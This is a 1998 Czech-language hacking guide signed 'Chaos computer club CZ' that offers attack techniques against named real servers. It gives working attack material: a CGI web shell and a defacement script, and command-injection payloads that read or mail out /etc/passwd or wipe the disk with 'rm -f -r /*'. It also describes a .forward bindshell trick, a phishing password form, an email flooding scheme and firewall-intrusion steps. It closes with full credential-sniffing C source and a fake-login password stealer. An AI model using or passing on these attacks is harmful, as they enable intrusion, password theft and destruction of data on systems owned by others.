ZÁKLADY HACKINGU NA INTERNETU

TENTO DOKUMENT JE PSÁN V EDITORU VI S PODPOROU ČEŠTINY

1)ČÁST PRVNÍ. ZÁKLADNÍ TECHNIKY.
Jak jsem si všimnul, tak se zde začíná dost odborně hovořit o Internetu.
Tak se také připojím.Vyhlašuji soutěž o jeden milion korun pro toho, kdo
jako první napadne tento WWW server, to jest http://www.cdrail.cz.Jinak bych doporučoval zavést pro nás hackery novou diskuzní skupinu, třeba hacker.
A teď malý úvod pro zájemce o milion korun. Toto je jen žert.

Jak jsem si všiml podle souborů s příponou *.asp tak asi používáte jako
www server produkt firmy Microsoft Internet information server pracujícím
pod Win NT.
Zde jsou mžnosti napadení skutečně veliké.

1.Program z názvem WinNuke dokáže dálkově restartovat server běžící pod win NT. Ovládání programu je ďábelsky jednoduché. Stačí zadat adresu počítače běžící pod win NT. Účinek je rychlý a smrtící. Během několika sekund se Win NT zřítí, veškerá data v paměti RAM jsou zničena a celý počítač se restartuje. Tyto restarty se opakují stále, pokud nezasáhne administrátor.
Tento problé řeší Service Pack 3. Rychle ho aplikujte.

2. Asi nejznámější chybou v MS IIS je to, že stačí napsat pekelně dlouhé
URL (mezi 4kB až 8kB) a server se zablokuje. To jsou služby www, gopher
a FTP.

3.Jak najít díru v Index serveru ?. Jedna z komponent Hit Counter funguje
opravdu zvláštně. Umužňuje číst soubory, které jinak číst nejdou.
Pokud se jedná o skript ASP, který může obsahovat heslo k serveru SQL,
je útočník v půli cesty do průniku do systému. Získat ho lze pomocí
skriptů, které jsou nainstalovány jako příklady:
http://jmeno_serveru/samples/search/queryhit.htm. S omezením vyhledá- vání pouze na soubory ASP:"#filename=*.asp".

4. Další tip. Red Buttom je program, který využívá portů 137,138 a 139 na
počítači s nainstalovanými Win NT. Tento program čte registry, umožňuje
zjistit jména všech sdílených (i skrytých) zdrojů na serveru a vytvoří
nový sdílený zdroj přístupný skupině everyone, tj. opravdu kohokoli.
Lze takto získat soubory uložené na na lokálním disku v četně šifrovaných
hesel. Další mužnosti této utility jsou odborníkovi jasné.

5. Jak vytížit CPU na 100% ?. Jde o chybu v RPC. Pokud se někdo přihlásí
na server NT telnetem na porty 53, 135 nebo 1031, napíše asi 10 znaků,
stiskne enter a ukončí telnet, Windows NT najednou začnou mít tolik
"práce", že zatížení CPU stoupne na 100%. Pokud na systému běží i DNS
server, lze napadnout i tuto službu a vyřadit ji z činnosti.

6. Starším předchůdcem chyby v MS Index Serveru je chyba v MS IIS ve spojení s ASP (active server pages). ASP jsou programy, který interpretuje www server. Kromě vlastního kódu mohou obsahovat i hesla k serveru SQL apod.
Typická cesta k nějakému souboru ASP je např. http://server_name/default.
Skript na této stránce je interpretován MS IIS a výsledek je předán
vašemu prohlížeči. Pokud toto URL trochu modifikujete, např. na
http://server_name/default.asp. (všimněte si tečky na konci!), je místo
toho zobrazen samotný program. Kdokoli ho můze stáhnout,přečíst.

No tak to by snad stačilo k Windows NT. Teď se podíváme na UNIX (LINUX).
Tady je situace jednoduchá. Tento stařec již má všechny mouchy vychytané. Není to jednoduché až téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit WWW stránku? Je to vůbec možné? Při troše štěstí ano.

Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a
speciální CGI script. V UNIXU bývají v adresáři /home/ftp/incoming/
nastavena přístupová práva na rwxrwxrwx to je právo zapisu všem.
Do tohoto adresáře pomocí FTP přeneseme tyto dva soubory.To je index.html
a např.hack.cgi. Důležitý je program, který je v cgi scriptu tady je:

#!/bin/sh
echo 'Content-Type: text/html'
echo
cp /home/ftp/incoming/index.html /www/htdocs/

Jednoduché že. Ale má to problém, musíme dostat nějakým způsobem tento cgi script do adresáře kde je povoleno provádění CGI scriptů nejčastěji cgi-bin.Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias.
Jinak aby bylo jasno je řeč o WWW serveru Apache kterých pracuje pod
UNIXEM vetšina. Ten je reprezentován souborem httpd.
Podaří-li se nám dostat tento cgi script do tohoto adresáře stačí jenom
napsat ve vašem prohlížeči URL k tomuto cgi scriptu a stisknout enter.
Ale to ještě není vše. WWW server musí pracovat jako root. To nastavuje
správce opět v souboru httpd.conf. A kořen dokumentů musí být umístněn
v adresáři /www/htdocs/.
Ještě jeden tip. Instalujeme-li server Apache tak vytvoří automaticky
adresář cgi-bin ve kterém je standartně umístněn skript z názvem test-cgi.
Tento skript by měl správce serveru odstanit,protože poskytuje důležité
informace případnému útočníkovi.
Je-li tento skript přítomen stačí napsat toto URL:
http://jmeno_serveru/cgi-bin/test-cgi
poté se na obrazovce prohlížeče objevý zajímavé informace o serveru Apache.

Další možností je odhalit bezpečnostní díru v CGI skriptu.Jak na to?
Objeví-li se nám na řádku např. URL http://www.firma.cz/cgi-bin/jmeno.cgi?
můžeme na konec přidat toto. http://www.firma.cz/cgi-bin/jmeno.cgi?;who
Středník je nebezpečný znak a může způsobit při špatně napsaném cgi skiptu to, že se provede příkaz zapsaný na konci řádku. V tomto případě příkaz who.
Ale může to být třeba cat /etc/passwd.

Dále bych se chtěl ještě zmínit o CGI scriptu který umužňuje vzdálené
zadávání příkazů operačnímu systému UNIX (LINUX) přes WWW prohlížeč.
Používá značky ISINDEX. Opět tento CGI script musí být umístněn v odresáři, kde je povoleno spouštění CGI scriptů. Většinou CGI-BIN.
Zde je:
#!/bin/sh
echo "Content-type: text/html"
echo
echo ''
echo ''
echo ''
echo '

This is a searchable index. Enter search keywords:

'
$1

Tento CGI script, když se nám podaří propašovat nějakým způsobem do adresáře
CGI-BIN a napíšeme k němu ve svém prohlížeči cestu, tak nám nábídne textové pole do kterého můžeme zadávat příkazy. Např.ls;ps;cat ale třeba i halt, pracuje-li www server Apache jako root. Co tento příkaz způsobí je zřejmé z jeho názvu.
Jinak jestli hacker potřebuje zjistit jaký www server používá vzdálený
systém, žádný problém. Použijeme telnet, ale ne ten, co je ve Windows 95
Musíme použít takový, který umožňuje přípojování na různé porty. Nejlepší
je samozřejmě interaktivní telnet z linuxu. Takže se připojíme na port 80:
% telnet 193.179.4.2 80
Poté zadejte
GET / announclist.html HTTP/1.0
Měli by jste dostat odpověď velmi rozsáhlou.
IP adresu jsem si vymyslel ale je to adresa http://www.hrad.cz (aktualní).

Když jsem u telnetu tak to je samozřejmě standardní hackerský program.
Lze se připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a pokoušet se proniknout do systému. Nejznámější je samozřejmě SMTP server, který pracuje na portu 25 kde naslouchá. Jedná se o program sendmail spuštěný jako démon. Tento program bývá na některých systémech kompilován se vzdáleným ladícím přístupem zadáme:
% telnet 193.179.4.2 25
Trying 193.179.4.2 ....
Connected to 193.179.4.2
Escape character is '^]'.
220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56
EDT
Pak zadáme příkaz:
debug

Jestliže budete dotázani na heslo máte naději.

Když jsme u elektronické pošty je potřeba se na ní podívat trochu více.
Posláním vhodného emailu nezkušenému uživateli lze získat jeho přístupová
hesla. Např.tento html dokument odešle na váš email přístupové heslo
vzdáleného uživatele. Samozřejmě pokud to vzdálený uživatel neprokoukne.


Změna hesla.Po určité době je nutné změnit heslo.Zadejte nejprve staré a pak nové heslo. Hesla se nevypisují z důvodu jejich utajení.

Staré heslo:

Nové heslo:

Pomocí elektronické pošty lze i Internet zahltit. Při psaní emailové
adresy lze přikázat kudy má dopis jít.
Používá se následující formát:
uživatel%doména1@doména2
Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2".Ten se podívá
na uživatelskou část a uvidí v ní %.Odtrhne z adresy zavináč a vše za ním,
poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu.
Díku tomuto mechanizmu můžeme diktovat kudy má dopis projít.
Domén můžeme uvést veliké množství.Jestliže se domluví více hackerů a sítí
se přenáší velké objemy dat,např.binární soubory o velikosti asi 500KB
přes obrovské množství serverů,lze celou Internetovou doménu(např.cz),
scela zablokovat na mnoho hodin.

Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger.
Ta někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací o uživatelích na systému.

Jinak je zřejmé že jestliže se vám podáří získat přístup do shelu jako
root, tak je vše jasné. A jestliže navíc je povoleno přihlášení uživatele
root jak telnetem tak přes FTP tak není co řešit ale taková situace
nastane jenom zřídka.

Zde je seznam služeb standardně spuštěných na systému UNIX(LINUX).

služba port

ftp-data 20
ftp 21
telnet 23
SMTP 25
Whois 43
Gopher 70
Finger 79
http 80
pop-3 110

Na tyto porty je možno se připojovat telnetem a zkoušet.

Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné
např.na http://www.security.sk nebo na http://www.rootshell.com

Dále mužeme zkoušet pracujeme-li na LINUXU takzvané r příkazy jedná se o rlogin,rcp,rsh.

Příklad:
%rlogin 193.179.4.2

a uvidíme co se bude dít.

%rcp 193.179.4.2: /etc/passwd /home/

Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém.

%rsh 193.179.4.2 ps -aux

Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server na vzdáleném systému. Jenom tak na okraj, jestliže chcete zjistit IP adresu vzdáleného systému, stačí použít program ping např. je i ve win 95:
Příklad:
ping www.hrad.cz
Pinging from 193.179.4.2:bytes=32 time 60ms TTL64
Další možnost jak napadnout vzdálený systém je program tftp napíšem:
$ tftp 193.179.4.2
tftp> get /etc/passwd
Error code 1: File not found
tftp> quit
Jestliže dostaneme takovouto odpověď máme smůlu. Služba je zakázaná.
Vraťme se zpátky k fenoménu dneška a to je WWW. Jak známo, většina
internetových serverů pracuje pod systémem UNIX (LINUX). A ty používají
hlavně www server Apache. Zavádějící historický pokus o zabezpečení
bylo to, že k portům menším než 1024 se smí připojit jen superuživatel root.
Jak známo tak httpd naslouchá na portu 80. To znamená, že alespoň jednou musí
být server spuštěn jako root. A tady je naše šance. Může se stát, že
administrátor spustí i kopie serveru jako root (nejnovejší verze Apache to
již neumožňuje).
WWW server nám pošle formulář v HTML skriptu. Náš počítač formulář
interpretuje a zobrazí ho na obrazovce. My jej vyplníme a poté stiskneme
tlačítko Submit. Náš počítač pak pošle formulář zpět na server, kde se
vyvolá URL, k jehož konci je připojen obsah formuláře. Server je nastaven tak, aby toto URL spouštělo skript přidávající obsah formuláře do souboru.
Část tohoto skriptu může vypadat takto:
echo "You have sent the following message: $MESSAGE"
Smyslem je, aby nám server poslal potvrzující hlášení, ve kterém se vše, co
jsme napsali, cituje v řetězci $MESSAGE.
Pukud my budeme vychytralí, napíšeme jako obsah $MESSAGE následující text:
'mail 193.179.4.2 /etc/passwd'
Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače příkazů, může tento text mít natolik alarmující důsledek jako odeslání super tajného hesla k nám. Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme napsat:
'rm -f -r /*'

Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward
Jetliže nemáte přístup do shellu, ale jenom přes ftp,pak je to přímo
idealní situace pro použití souboru .forward.
Stačí uploadovat soubor.forward do domácího adresáře. Sendmail totiž
standartně umožňuje execování souborů. Vyrobíme nasledující .forvard soubor

$ cat .forward
|/tmp/scriptik
$

Tento soubor je třeba uploadovat do domácího adresáře. Pak si vytvoříme
soubor "scriptik".

$ cat scriptik
/tmp/bindshell &
$

Bindshell je program který hodí shell na port 31337. Aby se faily mohly
exnout musí být executable. Můžeme to udělat takto:

$ ftp -nv
ftp> o server.provider.cz
Conected to server.provider.cz
ftp> user login heslo
ftp> cd /tmp
ftp> quote site chmod 755 bindshell
ftp> quote site chmod 755 scriptik
ftp> close

Potom stačí na toto konto poslat nějaký mail. Sendmail spustí /tmp/scriptik
a ten spustí bindshell.
Pak se telnetem připojíme na port 31337 např. takto
$ telnet 193.179.4.2 31337
A dostanete se shellu. Pak můžete zadat tento příkaz.

cat /etc/passwd > /home/ftp/incoming/ukradena_hesla

Tímto se obsah tajného souboru passwd přenese do souburu ukradena_hesla v adresáři incoming.Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek.
Možná i účet roota. Ještě se může stát, že anonymní adresář má nastavena práva na 777. Pak by to byl čistý vnější průnik.

Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW. První úroveň
spočívá v pokusu o nenápadné získání informací, které mouhou posloužit v další vlně útoku. Druhá úroveň útoku představuje již patrný bezprostřední sběr informací, ale ještě ne aktivní pokus o průnik do sítě. Třetí úroveň útoku se pokouší zdolat FW a narušit za ním lokalizované klienty, přičemž toto úsilí je inicializováno z klienta vně napadené sítě. Čtvrtá úroveň útoku
pak představuje pokus narušit bezpečnostní software FW, jeho konfiguraci nebo operační systém z klienta uvnitř atakované sítě.

1)První úroveň útoku
Jde o pokus získat informace o cílové síti, napadení z vnějších zdrojů tak,
aby se o tom cílová organizace nedozvěděla. Prvním krokem je zkontrolovat vstup do databáze na Network Information Centre (NIC). Použijeme telnet do rs.internic.net a pak zadáme příkaz whois. To nám poskytne informace o adresách a lokalitách. Bude nám to také naznačovat složitost cílových skupin sítě. Jestliže administrativní kontakt je shodný se zónou a technickým kontaktem, pak to může znamenat, že síťové skupiny mohou být v Internetu malé a relativně nové. Jestliže cílové organizace nemají svůj vlastní nameserver, pak je organizace asi malá a relativně krátkou dobu připojená do Internetu. Příkaz whois vylistuje primární a sekundární nameservery spolu s doménovým jménem.
Poznámka: (lze použít i www přes http://rs.internic.net)
Dalším krokem v této první úrovni je použití příkazu nslookup, abychom
získali maximum informací o cílové organizaci. Připojíme se raději k
sekundárnímu nameserveru než k primárnímu a pokuste se o takzvaný
zóne transfer. Jestliže je zóne transfer povolen, budeme mít velice cenné
informace o vnitřní cílivé síti. Tak lze zjistit počet stanic a topologii cílové sítě. Zóne transwer je však ve většině sítí zakázán. Příkazem nslookup můžeme zjistit spoustu dalších informací, např. po použití příkazu set type=MX můžeme zjistit konfiguraci pošty a IP adresy poštovní serverů atd. Posledním krokem této úrovně je hledání veřejně přístupných informací o cílové organizaci. Velkým zdrojem informací mohou být výroční zprávy a obchodní publikace, spojení s jinými organizacemi atd. Tyto informace mohou být užitečné, ze kterých kanálů útočit.


2)Druhá úroveň útoku
Sondování již může být objeveno cílovou organizací. Prvním krokem je pokus přenos DNS zóny z primárního name serveru, ačkoli většina organizací přenos zóny zakazuje, jak bylo řečeno výše. Ten, kdo na FW útočí, musí v dalším kroku vyhledat sítě a v nich konkrétní uzly. Zabere to hodně času, zvlášť,
pokud je síť za FW rozhlehlá. Tento krok lze i při nedostatku času přeskočit
Pro vyhledávání existují dvě metody.
PING
POKUS PŘIPOJIT SE NA TCP PORT 25
Směrovače mohou ztratit ICMP pakety, proto je žádoucí abychom posílali
nejméně tři pakety na každou adresu. Osobně doporučuji pět paketů.
Připojení na TCP port je pomalejší, protože spojení čeká na time-out
jestliže je adresa nedostupná. Každý uzel který odpoví, je pak potenciálním bodem vstupu do vnitřní sítě. Tímto způsobem si vytvoříme seznam potenciálních uzlů (cílů) a měli bychom zjistit, jaké služby na nich běží. Předpokládá to uskutečnění připojení na každý TCP port na každé cílové stanici.


3)Třetí úroveň útok a proniknutí.
Tato metodologie předpokládá, že v tomto okamžiku máme k dispozici seznam uzlů a služeb vnitřní sítě z FW, teprve potom můžeme zahájit útok.
Existují dva druhy útoků:
a)získání přístupu do shellu FW (dokonce se můžeme stát správci systému),
b)použití vzdálených služeb, které jsou k dispozici prostřednictvým FW a
které změní kritické konfigurační soubory nebo modifikují služby, které
běží na FW.
Na FW často běží služba (např.mail démon), která není dostatečně zabezpečená
Tyto služby se stanou prvním cílem útoku. Mnoho FW má slabinu v syslogd, jiné dovolují spojení telnetem z adres IP externích sítí. Ještě lepší je, když
na FW je velký počet neaktivních účtů, které měly být dávno vymazány.
Dokonce i když je FW odolný proti proniknutí z externích lokalit, vnitřní
uzly a uzly v demilitarizované zóně (DMZ) jsou často přístupné z vnější
sítě. Už takto kvalifikované útoky mohou způsobit nefunkčnost napadené
sítě. A to nám přeci jde. Poté, co jsme uskutečnili veškeré útoky proti FW, je nutno obrátit pozornost na uzly v cílové síti. Zkusíme telnet popř.rlogin
pokusíme se získat přístup do shellu. Další možností získání přístupu
je využít slabiny v NFS, NIS a sendmailu. Velkou službu nám udělají
hackerské nástroje, které jsou dostupné na mnoha FTP serverech. Proniknutí do jednoho uzlu interní sítě akceleruje proces proniknutí do celé vnitřní sítě. Je tomu tak proto, že uzly v TCP/IP nemají mezi sebou zabezpečené vztahy.


4)Modifikace FW
Jde o napadení FW s cílem modifikovat FW, povolit volný přístup a jednoduchý přístup do vnitřní sítě. Nainstalujeme program "sniffer" do segmentu sítě, kde je FW který čeká na přihlášení administrátora. Některé hackerské programy :
SATAN- program pro pátrání po bezpečnostních
chybách ve www serverech.
CRACK- louskač hesel.
ROOTKIT- Nástroj pro privilegovaný přístup do systému UNIX (LINUX).
TAP- Analyzuje packety.
WINNUKE- Dálkově resetuje www servery pod Win NT.

Tak to by snad na ty firevaly stačilo. Na konec uvádím program sniffer o
kterém jsem se zmínil výše. Je napsán v jazyce C.

Ještě nakonec této části uvádím hackerské www servery kde lze získat různé hackerské utility.

Hackerské adresy:
http://www.digicrime.com
http://fishwrap.mit.edu/Hacks/misc/gallery_menu.html
http://nmrc.org/
http://jya.com/mondex-hack.htm
http://www.stanford.edu/~llurch/
čipové karty http://www.ioc.ee/atsc/
Hackerský časopis: http://www.klaphek.nl
Chyba v exploreru: http://www.cybersnot.com/iebug.html/
čipové karty: http://www.ft.uni-erlagen.de/~mskuhn/tamper/html
Telnet://rs.internic.net (příkaz WHOIS)
čipové karty: http://www.bellcore.com/SMART/index.html
čipové karty: http://www.cs.technion.ac.il/~biham/
hackerské nástroje:http://www.security.sk nebo http://www.rootshell.com
Slovenský server http://www.hysteria.sk nebo http://hack.box.sk

el.časopis phrack:http://www.fc.net/phrack/
http://www.phrack.com/
http://www.2600.com/hacked_pages
Satelit http://www.hack.sk

PROGRAM SNIFFER:

/*
LinSniffer 0.03 [BETA]
Mike Edulla
medulla@infosoc.com
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".s"

int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}

int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
int i=0;
int t=0;

victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}

main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}

char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;

i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}

void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}

void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}

ČÁST TŘETÍ aneb technologie a postupy největšího hakera všech dob Němce Markuse Hesse.
Psal se rok 1988 když Makrkus Hess pronikal do Milnetu (předchůdce Internetu) a kradl z tamních UNIXů informace a prodával je za tisíce marek KGB. Netušil ale, že ho sledují, dokonce tak dokonale, že monitorovali každý jeho úder na klávesnici na tiskárně.
V této době jěště systém UNIX měl tolik chyb, že to pro odborníka jeho
kalibru nebyl problém. Pro průniky používal terminálového klienta, který
podporoval protokol telnet. Z Německa se přes družicové spoje připojoval
na vojenské počítače se systémem UNIX. Zde se dostával do systému pomocí
různých vyhrazených hesel jako např. SYSTEM, MANAGER, FIELID, SERVICE, USER aj. Nebo dokonce systém hesla vůbec nepoužíval. Pak pomocí specialního programu kterým nahradil program atrun v UNIXU.
Program atrun je specialní program, který se spouští každých 5 minut
a provádí kontrulu celého systému. Tento program pracuje z nejvyšší
prioritou. A právě tento program nahradil svým vlastním programem, který
se za 5 minut spustil a způsobil to, že se z obyčejného uživatele stal
superuživatel. K tomu, aby mohl jako běžný uživatel zkopírovat tento svůj
program do systémové oblasti, kam normálně nemůže, využil chyby v editoru GNU-emacs. Tento editor totiž umožňuje i běžnému uživateli kopírovat do systémových oblastí, kam by to normálním uživatelům jít nemělo. Nakonec ho ale chytili při činu.

Příklad programu, který používal ke kradení hesel:

echo -n "Vítejte v počítači LBL UNIX-4"
echo -n "Prosím přihlašte se"
echo -n "LOGIN:"
read account name
echo -n "Uveďte své přístupové heslo:"
(stty -echo;\
read password;\
stty -echo;\
echo $account_name $password >> /tmp/ .pub)
echo "Lituji,zkuste to znovu."

Tak to by stačilo ne. Dokončeno 3.5. 1998.Chaos computer club CZ.